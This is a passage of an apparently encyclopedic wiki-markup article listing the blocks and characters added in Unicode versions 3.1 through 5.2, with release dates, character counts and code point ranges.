* Some additional technical symbols, including common keys on a 101 keyboard (total 33 characters) were added to '''Miscellaneous Technical'''. (U+2301, U+237B and U+237D-U+239A)
* Two additional control pictures (total 2 characters) were added to '''Control Pictures'''. (U+2425-U+2426)
* Squares and circles with quadrants (total 8 characters) were added to '''Geometric Shapes'''. (U+25F0-U+25F7)
* Two Syriac crosses and a signature mark (total 3 characters) were added to '''Miscellaneous Symbols'''. (U+2619 and U+2670-U+2671)
* Three Hangzhou numerals and a variation indicator (total 4 characters) were added to '''CJK Symbols and Punctuation'''. (U+3038-U+303A and U+303E)
* A ligature Yod with Hiriq (יִ) (total 1 character) was added to '''Alphabetic Presentation Forms'''. (U+FB1D)
* Three additional control characters for ruby markup (total 3 characters) were added to '''Specials'''. (U+FFF9-U+FFFB)

== Unicode 3.1 ==

Unicode 3.1 was released March 2001. It encoded 94,140 characters, adding 44,946 new characters, and mainly focused on blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Old Italic''' (U+10300-U+1032F), containing 35 letters for the Etruscan script, was added.
* '''Gothic''' (U+10330-U+1034F), containing 27 letters for the Gothic script, was added.
* '''Deseret''' (U+10400-U+1044F), containing 76 letters for the constructed Deseret script, was added.
* '''Byzantine Musical Symbols''' (U+1D000-U+1D0FF), containing 246 symbols for musical notation in Byzantine, was added.
* '''Musical Symbols''' (U+1D100-U+1D1FF), containing 219 characters for current musical notation, was added.
* '''Mathematical Alphanumeric Symbols''' (U+1D400-U+1D7FF), containing 991 Latin and Greek letters in serif, sans-serif, bold, italic, double-struck, script and Fraktur/Blackletter, was added.
* '''CJK Unified Ideographs Extension B''' (U+20000-U+2A6DF), containing 42,711 additional Chinese Ideographs, was added.
* '''CJK Compatibility Ideographs Supplement''' (U+2F800-U+2FA1F), containing 542 additional Chinese Ideographs for compatibility purposes, was added.
* '''Tags''', containing 97 language tags, was added. (U+E0000-U+E007F)

=== Extended noncharacters ===

* The Noncharacters range: U+FDD0..U+FDEF were added to '''Arabic Presentation Forms-A'''.

=== Extended blocks ===

* The capital Theta symbol and the Lunate Epsilon symbol (total 2 characters) were added to '''Greek and Coptic'''. (U+03F4-U+03F5)

=== Characters and Scripts Under Investigation or Rejected ===
* Khmer Sign Laak Was Rejected. (U+17DD) From '''Khmer.'''
* Georgian Letter U-Brjuu Was Rejected. From '''Georgian.'''

== Unicode 3.2 ==

Unicode 3.2 was released March 2002. It encoded 95,156 characters, adding 1,016 new characters.

=== New blocks ===

* '''Cyrillic Supplementary (now Cyrillic Supplement)''' (U+0500-U+052F), containing 16 characters used for the Komi language, was added.
* '''Tagalog''' (U+1700-U+171F), containing 20 characters for the Baybayin script, was added.
* '''Hanunoo''' (U+1720-U+173F), containing 23 characters and punctuation for the Hanunó'o script, was added.
* '''Buhid''' (U+1740-U+175F), containing 20 characters for the Buhid script, was added.
* '''Tagbanwa''' (U+1760-U+177F), containing 18 characters for the Tagbanwa script, was added.
* '''Miscellaneous Mathematical Symbols-A''' (U+27C0-U+27EF), containing 28 symbols used in math notation, was added.
* '''Supplemental Arrows-A''' (U+27F0-U+27FF), containing 16 additional arrows, was added.
* '''Supplemental Arrows-B''' (U+2900-U+297F), containing 128 special arrows, was added.
* '''Miscellaneous Mathematical Symbols-B''' (U+2980-U+29FF), containing 128 additional mathematical symbols, was added.
* '''Supplemental Mathematical Operators''' (U+2A00-U+2AFF), containing 256 additional mathematical operators, was added.
* '''Katakana Phonetic Extensions''' (U+31F0-U+31FF), containing 16 Katakana letters used for Ainu, was added.
* '''Variation Selectors''' (U+FE00-U+FE0F), containing 16 symbols used for indicating variations, was added.

=== Extended blocks ===

* A capital letter N with Long Right Leg (total 1 character) was added to '''Latin Extended-B'''. (U+0220)
* The combining grapheme joiner and combining Latin letters used in medieval texts (total 14 characters) were added to '''Combining Diacritical Marks'''. (U+034F and U+0363-U+036F)
* The Qoppa and a reversed lunate epsilon symbol (total 3 characters) were added to '''Greek and Coptic'''. (U+03D8-U+03D9 and U+03F6)
* Four additional letters used for the Kildin Sami language (total 8 characters) were added to '''Cyrillic'''. (U+048A-U+048B, U+04C5-U+04C6, U+04C9-U+04CA and U+04CD-U+04CE)
* A dotless Beh and a dotless Qaf (total 2 characters) were added to '''Arabic'''. (U+066E-U+066F)
* A Letter for Addu dialect (total 1 character) was added to '''Thaana'''. (U+07B1)
* The letters Yn and Elifi (total 2 characters) were added to '''Georgian'''. (U+10F7-U+10F8)
* Some additional punctuation marks and control characters (total 12 characters) were added to '''General Punctuation'''. (U+2047, U+204E-U+2052, U+2057 and U+205F-U+2063)
* A superscript letter I (total 1 character) was added to '''Superscripts and Subscripts'''. (U+2071)
* German Penny and Peso sign (total 2 characters) were added to '''Currency Symbols'''. (U+20B0-U+20B1)
* Some additional combining characters (total 7 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E4-U+20EA)
* Some double-struck and reversed/turned letters (total 15 characters) were added to '''Letterlike Symbols'''. (U+213D-U+214B)
* Some additional arrows (total 12 characters) were added to '''Arrows'''. (U+21F4-U+21FF)
* Some additional mathematical operators (total 14 characters) were added to '''Mathematical Operators'''. (U+22F2-U+22FF)
* Variable-width and additional symbols (total 53 characters) were added to '''Miscellaneous Technical'''. (U+237C and U+239B-U+23CE)
* Black and double circled numerals (total 20 characters) were added to '''Enclosed Alphanumerics'''. U+24EB-U+24FE)
* Quadrant elements (total 10 characters) were added to '''Block Elements'''. (U+2596-U+259F)
* Some additional triangles and squares (total 8 characters) were added to '''Geometric Shapes'''. (U+25F8-U+25FF)
* Shogi pieces ,recycling symbols, dices and dotted circles (total 24 characters) were added to '''Miscellaneous Symbols'''. (U+2616-U+2617, U+2672-U+267D and U+2680-U+2689)
* Additional parenthesis (total 14 characters) were added to '''Dingbats'''. (U+2768-U+2775)
* Three additional marks (total 3 characters) were added to '''CJK Symbols and Punctuation'''. (U+303B-U+303D)
* A digraph and two additional characters (total 3 characters) were added to '''Hiragana'''. (U+3095-U+3096 and U+309F)
* A digraph and a double hyphen (total 2 characters) were added to '''Katakana'''. (U+30A0 and U+30FF)
* Additional circled numerals (total 30 characters) were added to '''Enclosed CJK Letters and Months'''. (U+3251-U+325F and U+32B1-U+32BF
* Five missing radicals (total 5 characters) were added to '''Yi Radicals'''. (U+A4A2-U+A4A3, U+A4B4, U+A4C1, U+A4C5)
* Additional compatibility characters (total 59 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA30-U+FA6A)
* A Rial sign (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFC)
* Two sesame dots (total 2 characters) were added to '''CJK Compatibility Forms'''. (U+FE45-U+FE46)
* A tail fragment (total 1 character) was added to '''Arabic Presentation Forms-B'''. (U+FE73)
* A pair of double parenthesis (total 2 characters) was added to '''Halfwidth and Fullwidth Forms'''. (U+FF5F-U+FF60)

== Unicode 4.0 ==

Unicode 4.0 was released April 2003. It encoded 96,382 characters, adding 1,226 new characters.

=== New blocks ===

* '''Limbu''' (U+1900-U+194F), containing 66 characters for the Limbu abugida, was added.
* '''Tai Le''' (U+1950-U+197F), containing 35 letters for the Tai Le script, was added.
* '''Khmer Symbols''' (U+19E0-U+19FF), containing 32 symbols for the lunar calendar, was added.
* '''Phonetic Extensions''' (U+1D00-U+1D7F), containing 108 letters used in phonetic transcription, was added.
* '''Miscellaneous Symbols and Arrows''' (U+2B00-U+2BFF), containing 14 additional arrows, was added.
* '''Yijing Hexagram Symbols''' (U+4DC0-U+4DFF), containing 64 hexagrams, was added.
* '''Linear B Syllabary''' (U+10000-U+1007F), containing 88 syllables of the ancient Linear B script, was added.
* '''Linear B Ideograms''' (U+10080-U+100FF), containing 123 ideograms of the ancient Linear B script, was added.
* '''Aegean Numbers''' (U+10100-U+1013F), containing 57 numerals used in the Aegean area, was added.
* '''Ugaritic''' (U+10380-U+1039F), containing 31 characters used in Ugaritic cuneiform, was added.
* '''Shavian''' (U+10450-U+1047F), containing 48 letters used for the artificial Shavian script, was added.
* '''Osmanya''' (U+10480-U+104AF), containing 40 characters used in the artificial Osmanya script, was added.
* '''Cypriot Syllabary''' (U+10800-U+1083F), containing 55 characters formerly used on Cyprus, was added.
* '''Tai Xuan Jing Symbols''' (U+1D300-U+1D35F), containing 87 symbols of Tai Xuan Jing, was added.
* '''Variation Selectors Supplement''' (U+E0100-U+E01EF), containing 240 additional variation selectors, was added.

=== Extended blocks ===

* Letters with curl used in Sinology (total 4 characters) were added to '''Latin Extended-B'''. (U+0221 and U+0234-U+0236)
* Former IPA letters (total 2 characters) were added to '''IPA Extensions'''. (U+02AE-U+02AF)
* Some additional characters (total 17 characters) were added to '''Spacing Modifier Letters'''. (U+02EF-U+02FF)
* Additional combining double-width diacritics and diacritics corresponding to their spacing equivalent (total 11 characters) were added to '''Combining Diacritical Marks'''. (U+0350-U+0357 and U+035D-U+035F)
* The archaic letters Sho and San and the capital Lunate Sigma (total 5 characters) were added to '''Greek and Coptic'''. (U+03F7-U+03FB)
* Some additional markers, biblical signs, and letters with inverted V (total 19 characters) were added to '''Arabic'''. (U+0600-U+0603, U+060D-U+0615, U+0656-U+0658, U+06EE-U+06EF and U+06FF)
* Letters used for foreign words from Persian and Sogdian (total 6 characters) were added to '''Syriac'''. (U+072D-U+072F and U+074D-U+074F)
* The short A (ऄ) (total 1 character) was added to '''Devanagari'''. (U+0904)
* The Avagraha sign (ঽ) (total 1 character) was added to '''Bengali'''. (U+09BD)
* The Adak Bindi and Visarga signs (total 2 characters) were added to '''Gurmukhi'''. (U+0A01 and U+0A03)
* The vocalic l and ll and the Rupee sign (total 5 characters) were added to '''Gujarati'''. (U+0A8C and U+0AF1-U+0AF3)
* The letters Va and Wa (total 2 characters) were added to '''Oriya'''. (U+0B35 and U+0B71)
* Additional signs for date and finance environments (total 8 characters) were added to '''Tamil'''. (U+0BF3-U+0BFA)
* The Nukta and Avagraha signs (total 2 characters) were added to '''Kannada'''. (U+0CBC-U+0CBD)
* Some symbols and signs (total 11 characters) were added to '''Khmer'''. (U+17DD and U+17F0-U+17F9)
* An inverted undertie and a swung dash (total 2 characters) were added to '''General Punctuation'''. (U+2053-U+2054)
* The facsimile sign (℻) (total 1 character) was added to '''Letterlike Symbols'''. (U+213B)
* The eject symbol and a vertical line (total 2 characters) were added to '''Miscellaneous Technical'''. (U+23CF-U+23D0)
* A black circled digit zero (⓿) (total 1 character) was added to '''Enclosed Alphanumerics'''. (U+24FF)
* Monograms and diagrams, flags, warning and weather symbols and a cup of tea (total 12 characters) were added to '''Miscellaneous Symbols'''. (U+2614-U+2615, U+268A-U+2691 and U+26A0-U+26A1)
* Additional parenthesized and circled Korean characters and supplemental signs (total 9 characters) were added to '''Enclosed CJK Letters and Months'''. (U+321D-U+321E, U+3250, U+327C-U+327D and U+32CC-U+32CF)
* Additional measure units (total 7 characters) were added to '''CJK Compatibility'''. (U+3377-U+337A, U+33DE-U+33DF and U+33FF)
* An additional Arabic sign (﷽) (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFD)
* A pair of vertical parenthesis (total 2 characters) was added to '''CJK Compatibility Forms'''. (U+FE47-U+FE48)
* The letters Oi and Ew (total 4 characters) were added to '''Deseret'''. (U+10426-U+10427 and U+1044E-U+1044F)
* A small script l (ℓ) (total 1 character) was added to '''Mathematical Alphanumeric Symbols'''. (U+1D4C1)

== Unicode 4.1 ==

Unicode 4.1 was released March 31, 2005. It encoded 97,655 characters, adding 1,273 new characters.

=== New blocks ===

* '''Arabic Supplement''' (U+0750-U+077F), containing 30 characters for various languages written with the Arabic script, was added.
* '''Ethiopic Supplement''' (U+1380-U+139F), containing 26 characters and signs for Sebatbeit, was added.
* '''New Tai Lue''' (U+1980-U+19DF), containing 80 characters for the New Tai Lue script, was added.
* '''Buginese''' (U+1A00-U+1A1F), containing 30 characters for the Lontara script, was added.
* '''Phonetic Extensions Supplement''' (U+1D80-U+1DBF), containing 64 additional letters for phonetic transcription, was added.
* '''Combining Diacritical Marks Supplement''' (U+1DC0-U+1DFF), containing 4 additional diacritics, was added.
* '''Glagolitic''' (U+2C00-U+2C5F), containing 94 characters for the Glagolitic script, was added.
* '''Coptic''' (U+2C80-U+2CFF), containing 114 characters for the Coptic script, was added.
* '''Georgian Supplement''' (U+2D00-U+2D2F), containing 38 Nuskhuri letters, was added.
* '''Tifinagh''' (U+2D30-U+2D7F), containing 55 characters for the Tifinagh script, was added.
* '''Ethiopic Extended''' (U+2D80-U+2DDF), containing 79 additional Ethiopic syllables, was added.
* '''Supplemental Punctuation''' (U+2E00-U+2E7F), containing 26 additional punctuation marks, was added.
* '''CJK Strokes''' (U+31C0-U+31CF), containing 16 strokes for Han Ideographs, was added.
* '''Modifier Tone Letters''' (U+A700-U+A71F), containing 23 letters for Chinese tones, was added.
* '''Syloti Nagri''' (U+A800-U+A82F), containing 44 characters for the Syloti Nagri abugida, was added.
* '''Vertical Forms''' (U+FE10-U+FE1F), containing 10 punctuation marks suited for vertical text, was added.
* '''Ancient Greek Numbers''' (U+10140-U+1018F), containing 75 numerals and signs used in Ancient Greek, was added.
* '''Old Persian''' (U+103A0-U+103DF), containing 50 characters for Old Persian cuneiform, was added.
* '''Kharoshthi''' (U+10A00-U+10A5F), containing 65 characters for the Kharoshthi abugida, was added.
* '''Ancient Greek Musical Notation''' (U+1D200-U+1D24F), containing 70 musical signs used in Ancient Greek, was added.

=== Extended blocks ===

* Letters for Sencoten, digraphs, letters with swash tail and other additions (total 11 characters) were added to '''Latin Extended-B'''. (U+0237-U+0241)
* Additional diacritics for transliteration (total 5 characters) were added to '''Combining Diacritical Marks'''. (U+0358-U+035C)
* Rho with stroke, reversed and dotted Lunate Sigma (total 4 characters) were added to '''Greek and Coptic'''. (U+03FC-U+03FF)
* Ghe with descender (Ӷ) (total 2 characters) was added to '''Cyrillic'''. (U+04F6-U+04F7)
* An additional biblical mark and some punctuation marks (total 4 characters) were added to '''Hebrew'''. (U+05A2 and U+05C5-U+05C7)
* Additional biblical marks, punctuation marks and the Afghani sign (total 8 characters) were added to '''Arabic'''. (U+060B, U+061E, and U+0659-U+065E)
* A glottal stop (ॽ) (total 1 character) was added to '''Devanagari'''. (U+097D)
* The Khanda Ta letter (ৎ) (total 1 character) was added to '''Bengali'''. (U+09CE)
* The letter Sha and the digit zero (total 2 characters) were added to '''Tamil'''. (U+0BB6 and U+0BE6)
* Two marks used in Bhutan (total 2 characters) were added to '''Tibetan'''. (U+0FD0-U+0FD1)
* Two letters and a modifier letter (total 3 characters) were added to '''Georgian'''. (U+10F9-U+10FA and  U+10FC)
* Some additional syllables (total 11 characters) were added to '''Ethiopic'''. (U+1207, U+1247, U+1287, U+12AF, U+12CF, U+12EF, U+130F, U+131F, U+1347, U+135F, and U+1360)
* Additional phonetic symbols (total 20 characters) were added to '''Phonetic Extensions'''. (U+1D6C-U+1D7F)
* A flower and dot punctuation marks (total 9 characters) were added to '''General Punctuation'''. (U+2055-U+2056 and U+2058-U+205E)
* Additional subscript letters (total 5 characters) were added to '''Superscripts and Subscripts'''. (U+2090-U+2094)
* The Guarani, Austral, Hryvnia and Cedi signs (total 4 characters) were added to '''Currency Symbols'''. (U+20B2-U+20B5)
* A combining long double solidus (total 1 character) was added to '''Combining Diacritical Marks for Symbols'''. (U+20EB)
* The per sign and a double-struck letter Pi (total 2 characters) were added to '''Letterlike Symbols'''. (U+213C and U+214C)
* Metrical and electrical signs (total 11 characters) were added to '''Miscellaneous Technical'''. (U+23D1-U+23DB)
* Additional gender and map symbols (total 30 characters) were added to '''Miscellaneous Symbols'''. (U+2618, U+267E-U+267F, U+2692-U+269C, and U+26A2-U+26B1)
* Some additional mathematical symbols (total 7 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27C0-U+27C6)
* Additional arrows and squares (total 6 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B0E-U+2B1D)
* A circled Hangul character (㉾) (total 1 character) was added to '''Enclosed CJK Letters and Months'''. (U+327E)
* Additional Han Ideographs (total 22 characters) were added to '''CJK Unified Ideographs'''. (U+9FA6-U+9FBB)
* Additional Compatibility Ideographs (total 106 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA70-U+FAD9)
* Italic dotless small i and j (total 2 characters) were added to '''Mathematical Alphanumeric Symbols'''. (U+1D6A4-U+1D6A5)

== Unicode 5.0 ==

Unicode 5.0 was released July 14, 2006. It encoded 99,024 characters, adding 1,369 new characters.

=== New blocks ===

* '''N'Ko''' (U+07C0-U+07FF), containing 59 characters for the N'Ko script, was added.
* '''Balinese''' (U+1B00-U+1B7F), containing 121 characters and musical signs for the Balinese abugida, was added.
* '''Latin Extended-C''' (U+2C60-U+2C7F), containing 17 letters for various languages, was added.
* '''Latin Extended-D''' (U+A720-U+A7FF), containing 2 characters for UPA, was added.
* '''Phags-pa''' (U+A840-U+A87F), containing 56 characters for the Phags-pa script, was added.
* '''Phoenician''' (U+10900-U+1091F), containing 27 letters and numerals for the Phoenician script, was added.
* '''Cuneiform''' (U+12000-U+123FF), containing 879 signs for Sumero-Akkadian Cuneiform, was added.
* '''Cuneiform Numbers and Punctuation''' (U+12400-U+1247F), containing 103 numerals and punctuation signs for Sumero-Akkadian Cuneiform, was added.
* '''Counting Rod Numerals''' (U+1D360-U+1D37F), containing 18 numerals used with counting rods, was added.

=== Extended blocks ===

* Various letters used mainly for aboriginal languages (total 14 characters) were added to '''Latin Extended-B'''. (U+0242-U+024F)
* Lowercase lunate sigma symbols (total 3 characters) were added to '''Greek and Coptic'''. (U+037B-U+037D)
* Lowercase palochka and 3 letters used in Nivkh (total 7 characters) were added to '''Cyrillic'''. (U+04CF and U+04FA-U+04FF)
* Two letters used in Khanty and other languages (total 4 characters) were added to '''Cyrillic Supplement'''. (U+0510-U+0513)
* A specific point meant for Vav (total 1 character) was added to '''Hebrew'''. (U+05BA)
* Four letters used in Sindhi (total 4 characters) were added to '''Devanagari'''. (U+097B-U+097C and U+097E-U+097F)
* Four letters used in Sanskrit (total 4 characters) were added to '''Kannada'''. (U+0CE2-U+0CE3 and U+0CF1-U+0CF2)
* Additional IPA diacritics (total 9 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DC4-U+1DCA)
* Four combining arrows (total 4 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20EC-U+20EF)
* A danish symbol and a lowercase turned F (total 2 characters) were added to '''Letterlike Symbols'''. (U+214D-U+214E)
* A lowercase reversed C (ↄ) (total 1 character) was added to '''Number Forms'''. (U+2184)
* Vertical parenthesis, geometric forms and electrical symbols (total 12 characters) were added to '''Miscellaneous Technical'''. (U+23DC-U+23E7)
* A neuter symbol (⚲) (total 1 character) was added to '''Miscellaneous Symbols'''. (U+26B2)
* Four additional mathematical symbols (total 4 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27C7-U+27CA)
* Additional squares, pentagons and hexagons (total 11 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B14-U+2B1A and U+2B20-U+2B23)
* Four additional tone letters used in Chinantec (total 4 characters) were added to '''Modifier Tone Letters'''. (U+A717-U+A71A)
* Bold Digamma (𝟊/'''Ϝ''') (total 2 characters) was added to '''Mathematical Alphanumeric Symbols'''. (U+1D7CA-U+1D7CB)

== Unicode 5.1 ==

Unicode 5.1 was released April 4, 2008. It encoded 100,648 characters, adding 1,624 new characters.

=== New blocks ===

* '''Sundanese''' (U+1B80-U+1BBF), containing 55 letters for Sundanese script, was added.
* '''Lepcha''' (U+1C00-U+1C4F), containing 74 letters for Lepcha script, was added.
* '''Ol Chiki''' (U+1C50-U+1C7F), containing 48 letters for Ol Chiki script, was added.
* '''Cyrillic Extended-A''' (U+2DE0-U+2DFF), containing 32 letters for combining Cyrillic letters, was added.
* '''Vai''' (U+A500-U+A63F), containing 300 letters for Vai script, was added.
* '''Cyrillic Extended-B''' (U+A640-U+A69F), containing 78 letters for additional Cyrillic characters, was added.
* '''Saurashtra''' (U+A880-U+A8DF), containing 81 letters for Saurashtra script, was added.
* '''Kayah Li''' (U+A900-U+A92F), containing 48 letters for Kayah languages, was added.
*  '''Rejang''' (U+A930-U+A95F), containing 37 letters for Rejang script, was added.
* '''Cham''' (U+AA00-U+AA5F), containing 83 letters for Cham script, was added.
* '''Ancient Symbols''' (U+10190-U+101CF), containing 12 characters for weights and measures and other ancient symbols, was added.
* '''Phaistos Disc''' (U+101D0-U+101FF), containing 46 hieroglyphs for Phaistos, was added.
* '''Lycian''' (U+10280-U+1029F), containing 29 letters for Lycian script, was added.
* '''Carian''' (U+102A0-U+102DF), containing 49 letters for Carian script, was added.
* '''Lydian''' (U+10920-U+1093F), containing 27 letters for Lydian script, was added.
* '''Mahjong Tiles''' (U+1F000-U+1F02F), containing 44 mahjong tiles, was added.
* '''Domino Tiles''' (U+1F030-U+1F09F), containing 100 domino tiles, was added.

=== Extended blocks ===

* Archaic letters and capital kai symbol (total 7 characters) were added to '''Greek and Coptic'''. (U+0370-U+0373, U+0375-U+0376 and U+03CF)
* Combining Pokrytie (total 1 character) was added to '''Cyrillic'''. (U+0487)
* Mordvin, Kurdish, Aleut and Chuvash letters (total 16 characters) were added to '''Cyrillic Supplement'''. (U+0514-U+0523)
* Radix symbols, Letterlike, punctuation, Koranic annotation signs and additions for early Persian and Azerbaijani (total 15 characters) were added to '''Arabic'''. (U+0606-U+060A, U+0616-U+061A and U+063B-U+063F)
* Additional letters in Torwali, Burushaski and early Persian (total 18 characters) were added to '''Arabic Supplement'''. (U+076E-U+077F)
* High spacing dot and candra a (total 2 characters) were added to '''Devanagari'''. (U+0971-U+0972)
* Udaat and yakash signs (total 2 characters) were added to '''Gurmukhi'''. (U+0A51 and U+0A75)
* Vocalic rr, l and ll (total 3 characters) were added to '''Oriya'''. (U+0B44 and U+0B62-U+0B63)
* Om symbol (ௐ) (total 1 character) was added to '''Tamil'''. (U+0BD0)
* Avagraha, additional phonetic letters, vocalic l and ll, fractional signs and tuumu (total 13 characters) were added to '''Telugu'''. (U+0C3D, U+0C58-U+0C59, U+0C62-U+0C63 and U+0C78-U+0C7F)
* Avagraha, vocalic rr, l and ll, Malayalam numerics and fractions and chillu letters (total 17 characters) were added to '''Malayalam'''. (U+0D3D, U+0D44, U+0D62-U+0D63, U+0D70-U+0D75 and U+0D79-U+0D7F)
* Letters for Balti and various symbols (total 6 characters) were added to '''Tibetan'''. (U+0F6B-U+0F6C, U+0FCE and U+0FD2-U+0FD4)
* Characters for various languages (total 78 characters) were added to '''Myanmar'''. (U+1022, U+1028, U+102B, U+1033-U+1035, U+103A-U+103F, U+105A-U+1099 and U+109E-U+109F)
* Manchu Ali Gali lha (ᢪ) (total 1 character) was added to '''Mongolian'''. (U+18AA)
* Miscellaneous combining marks (total 28 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DCB-U+1DE6)
* Medievalist latin letters and miscellaneous letters (total 10 characters) were added to '''Latin Extended Additional'''. (U+1E9C-U+1E9F and U+1EFA-U+1EFF)
* Invisible plus (+) (total 1 character) was added to '''General Punctuation'''. (U+2064)
* Combining asterisk above ( ⃰)(total 1 character) was added to '''Combining Diacritical Marks for Symbols'''. (U+20F0)
* Symbol for Samaritan Source (⅏) (total 1 character) was added to '''Letterlike Symbols'''. (U+214F)
* Archaic Roman Numerals (total 4 characters) were added to '''Number Forms'''. (U+2185-U+2188)
* Outlined white star and other signs (total 15 characters) were added to '''Miscellaneous Symbols'''. (U+269D, U+26B3-U+26BC and U+26C0-U+26C3)
* Long division and additional mathematical brackets (total 5 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27CC and U+27EC-U+27EF)
* Miscellaneous signs (total 51 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B1B-U+2B1F, U+2B24-U+2B4C, and U+2B50-U+2B54)
* Additional Latin letters (total 12 characters) were added to '''Latin Extended-C'''. (U+2C6D-U+2C6F, U+2C71-U+2C73, and U+2C78-U+2C7D)
* Additional punctuation (total 23 characters) were added to '''Supplemental Punctuation'''. (U+2E18-U+2E1B and U+2E1E-U+2E30)
* Letter ih (ㄭ) (total 1 character) was added to '''Bopomofo'''. (U+312D)
* Other strokes (total 20 characters) were added to '''CJK Strokes'''. (U+31D0-U+31E3)
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''. (U+9FBC-U+9FC3)
* Africanist tone letters (total 5 characters) were added to '''Modifier Tone Letters'''. (U+A71B-U+A71F)
* Miscellaneous letters and symbols (total 112 characters) were added to '''Latin Extended-D'''. (U+A722-U+A78C and U+A7FB-U+A7FF)
* Continuous macrons for Coptic (total 3 characters) were added to '''Combining Half Marks'''. (U+FE24-U+FE26)
* Musical symbol multiple measure rest (𝄩) (total 1 character) was added to '''Musical Symbols'''. (U+1D129)

== Unicode 5.2 ==

Unicode 5.2 was released in October 1, 2009. It encoded 107,296 characters, adding 6,648 new characters.

=== New blocks ===

* '''Samaritan''' (U+0800-U+083F), containing 61 letters for Samaritan script, was added.
* '''Unified Canadian Aboriginal Syllabics Extended''' (U+18B0-U+18FF), containing 70 syllables for various Cree languages, was added.
* '''Tai Tham''' (U+1A20-U+1AAF), containing 127 letters for Tai Tham script, was added.
* '''Vedic Extensions''' (U+1CD0-U+1CFF), containing 35 characters for tone marks and signs, was added.
* '''Lisu''' (U+A4D0-U+A4FF), containing 48 letters for Lisu (Fraser) script, was added.
* '''Bamum''' (U+A6A0-U+A6FF), containing 88 letters for Bamum script, was added.
* '''Common Indic Number Forms''' (U+A830-U+A83F), containing 10 fractions and marks, was added.
* '''Devanagari Extended''' (U+A8E0-U+A8FF), containing 28 additional marks, was added.
* '''Hangul Jamo Extended-A''' (U+A960-U+A97F), containing 29 characters for additional old initial consonants in hangul jamo, was added.
* '''Javanese''' (U+A980-U+A9DF), containing 91 letters for Javanese script, was added.
* '''Myanmar Extended-A''' (U+AA60-U+AA7B), containing 28 letters for Khamti Shan in Myanmar, was added.
* '''Tai Viet''' (U+AA80-U+AADF), containing 72 letters for Tai Viet script, was added.
* '''Meetei Mayek''' (U+ABC0-U+ABFF), containing 56 letters for Meetei Mayek script, was added.
* '''Hangul Jamo Extended-B''' (U+D7B0-U+D7FF), containing 72 characters for additional old medieval vowels and final consonants in hangul jamo, was added.
* '''Imperial Aramaic''' (U+10840-U+1085F), containing 31 characters for Old Aramaic, was added.
* '''Old South Arabian''' (U+10A60-U+10A7F), containing 32 letters and numbers for South Arabian, was added.
* '''Avestan''' (U+10B00-U+10B3F), containing 61 characters for Avestan script, was added.
* '''Inscriptional Parthian''' (U+10B40-U+10B5F), containing 30 characters for Inscriptional Parthian script, was added.
* '''Inscriptional Pahlavi''' (U+10B60-U+10B7F), containing 27 characters for Inscriptional Pahlavi script, was added.
* '''Old Turkic''' (U+10C00-U+10C4F), containing 73 characters for Orkhon script, was added.
* '''Rumi Numeral Symbols''' (U+10E60-U+10E7F), containing 31 numeric characters used in Fez, Morocco, and elsewhere in North Africa and the Iberian peninsula, between the tenth and seventeenth centuries, was added.
* '''Kaithi''' (U+11080-U+110CF), containing 66 letters for Kaithi script, was added.
* '''Egyptian Hieroglyphs''' (U+13000-U+1342F), containing 1,071 hieroglyphs for Egyptian, was added.
* '''Enclosed Alphanumeric Supplement''' (U+1F100-U+1F1FF), containing 63 additional circled, parenthesized and squared alphanumerics, was added.
* '''Enclosed Ideographic Supplement''' (U+1F200-U+1F2FF), containing 44 squared and tortoised shell bracketed ideographs, was added.
* '''CJK Unified Ideographs Extension C''' (U+2A700-U+2B73F), containing 4,149 additional Chinese Ideographs, was added.

=== Extended blocks ===

* Abkhaz letters (total 2 characters) were added to '''Cyrillic Supplement'''. (U+0524-U+0525)
* Inverted Candrabindu and additional signs and letters (total 5 characters) were added to '''Devanagari'''. (U+0900, U+094E, U+0955 and U+0979-U+097A)
* Ganda Mark (৻) (total 1 character) was added to '''Bengali'''. (U+09FB)
* Religious svasti signs (total 4 characters) were added to '''Tibetan'''. (U+0FD5-U+0FD8)
* Extensions for Khamti Shan and Alton and Phake (total 4 characters) were added to '''Myanmar'''. (U+109A-U+109D)
* Additional old initial consonants, medival vowels, and old final consonants (total 16 characters) were added to '''Hangul Jamo'''. (U+115A-U+115E, U+11A3-U+11A7 and U+11FA-U+11FF)
* Hyphen and additional syllables (total 10 characters) were added to '''Unified Canadian Aboriginal Syllabics'''. (U+1400 and U+1677-U+167F)
* Letter Sua and Tham Digit One (total 3 characters) were added to '''New Tai Lue'''. (U+19AA-U+19AB and U+19DA)
* Combing Almost Equal to Below ( ᷽) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFD)
* The Live Tournosis, Spesmillo and Tenge signs (total 3 characters) were added to '''Currency Symbols'''. (U+20B6-U+20B8)
* Additional vulgar fractions from ARIB STD B24 (total 4 characters) were added to '''Number Forms'''. (U+2150-U+2152 and U+2189)
* Decimal exponent symbol (⏨) from ARIB STD B24 (total 1 characters) was added to '''Miscellaneous Technical'''. (U+23E8)
* A soccer ball and symbols from ARIB STD B24 (total 59 characters) were added to '''Miscellaneous Symbols'''. (U+269E-U+269F, U+26BD-U+26BF, U+26C4-U+26CD, U+26CF-U+26E1, U+26E3 and U+26E8-U+26FF)
* Heavy exclamation mark symbol (❗)  from ARIB STD B24 (total 1 character) was added to '''Dingbats'''. (U+2757)
* Traffic sign, dictionary and map symbols from ARIB STD B24 (total 5 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B55-U+2B59)
* Capital letter turned alpha and additions for Shona (total 3 characters) were added to '''Latin Extended-C'''. (U+2C70 to U+2C7E-U+2C7F)
* Cryptogrammic letters and combining marks (total 7 characters) were added to '''Coptic'''. (U+2CEB-U+2CF1)
* Word separator middle dot (⸱) (total 1 character) was added to '''Supplemental Punctuation'''. (U+2E31)
